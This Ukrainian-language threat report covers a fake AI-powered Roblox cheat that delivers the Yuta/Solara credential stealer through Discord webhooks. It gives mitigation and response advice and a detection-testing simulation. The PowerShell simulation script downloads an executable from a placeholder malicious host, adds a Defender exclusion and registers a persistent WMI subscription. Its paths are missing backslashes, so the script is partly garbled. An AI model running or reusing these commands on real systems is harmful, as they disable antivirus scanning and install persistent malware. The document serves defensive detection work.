Шахрайські програми з підтримкою штучного інтелекту для Roblox постачають Yuta/Solara Stealer

Резюме

Шкідлива програма для чіту Roblox поєднує троянську .NET-інтерфейс із Python-злодієм, упакованим через PyInstaller. Початковий завантажувач послаблює захисти Microsoft Defender, отримує завантаження другого етапу з MediaFire і запускає шкідливе програмне забезпечення, похідне від Glove Stealer, для збору облікових даних, файлів cookie, файлів гаманця та активів, пов’язаних із іграми. Викрадені дані потім виводяться через зашифровані веб-хуки Discord і підтримуються стійким Discord bot RAT.

Розслідування

Звіт надає глибокий статичний аналіз шкідливого ПЗ, включаючи вилучення PyInstaller-навантаження, декомпіляцію байт-коду Python 3.12 та картографування робочого процесу крадіжки облікових даних. Також окреслюється повний багатостадійний процес виконання, методи уникнення захисту, використовувані операторами, та п’ятишаровий підхід до обходу, що націлюється на захист шифрування, прив’язаний до Chrome.

Пом’якшення

Організації повинні блокувати виконання невідомих незарепутованих бінарних файлів, застосовувати суворий список дозволених додатків, стежити за змінами у виключеннях Defender та підозрілими використаннями PowerShell, а також виявляти незвичні завантаження конфігураційних даних з Pastebin. Трафік веб-хуків Discord повинен бути обмеженим або ретельно контролюватися, а захисники повинні стежити за ненормальними запусками Chrome, які використовують прапори, пов’язані з налагодженням.

Реакція

Команди безпеки повинні сповістити про створення winupdate.exe у кеші AppData, підозрілі модифікації ключа запуску реєстру, створення запланованих завдань та незвичайну активність каналів Discord. Шкідливі файли слід помістити в карантин, несанкціоновані виключення Defender видалити, а судово-технічний збір провести на будь-яких сховищах облікових даних, які могли бути зібрані.

Виконання симуляції

Передумова: Телеметрія та перевірка базових характеристик повинні пройдені.

Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), призначеної для виклику правила виявлення. Команди та нарратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнуть генерувати точну телеметрію, очікувану логікою виявлення.

• Опис атаки та команди:

  1. Передача інструменту трубопроводу (T1105): Атакуючий завантажує шкідливий виконавець Roblox (SLaunch.exe) із зламаного веб-сервера.
  2. Виконання з маніпуляціями Defender (T1548.002): За допомогою PowerShell атакуючий виконує SLaunch.exe з командним рядком, що викликає Add-MpPreference -ExclusionPath "C:Roblox" щоб додати в білий список папку встановлення Roblox, запобігаючи скануванню Windows Defender впровадженого навантаження.
  3. Стійкість (T1546.003/T1547.001): Постійне підписання WMI створюється для повторного запуску SLaunch.exe під час запуску системи.
  4. Збір облікових даних (T1056.001, T1555.003): Поки ін’єктор працює, він захоплює натискання клавіш та витягує збережені облікові дані Roblox з браузерів.

• Сценарій регресійного тестування: Наступний сценарій PowerShell відтворює кроки 2–3 і генерує телеметрію, яку очікує правило Sigma.

  # ------------------------------------------------------------
  # Виконання ін'єктора Roblox + Виключення Defender (Сценарій TC)
  # ------------------------------------------------------------
  
  # Шляхи (налаштовуйте при необхідності)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Переконайтеся, що ін'єктор існує (місце скачування)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Завантаження шкідливого ін'єктора..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Виконати ін'єктор з командним рядком виключення Defender
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Створіть постійне підписання подій WMI для стійкості
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Реєстрація фільтра
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Реєстрація споживача командного рядка
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Прив'язка фільтра до споживача
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Симуляція завершена – телеметрія виявлення має бути згенерована."

• Команди очищення: Видаліть виключення Defender та підписку WMI, створені вище.

  # Видалити виключення Defender
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Видалити фільтр WMI та споживача
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Видалити бінарний файл ін'єктора
  Remove-Item -Path "C:TempSLaunch.exe" -Force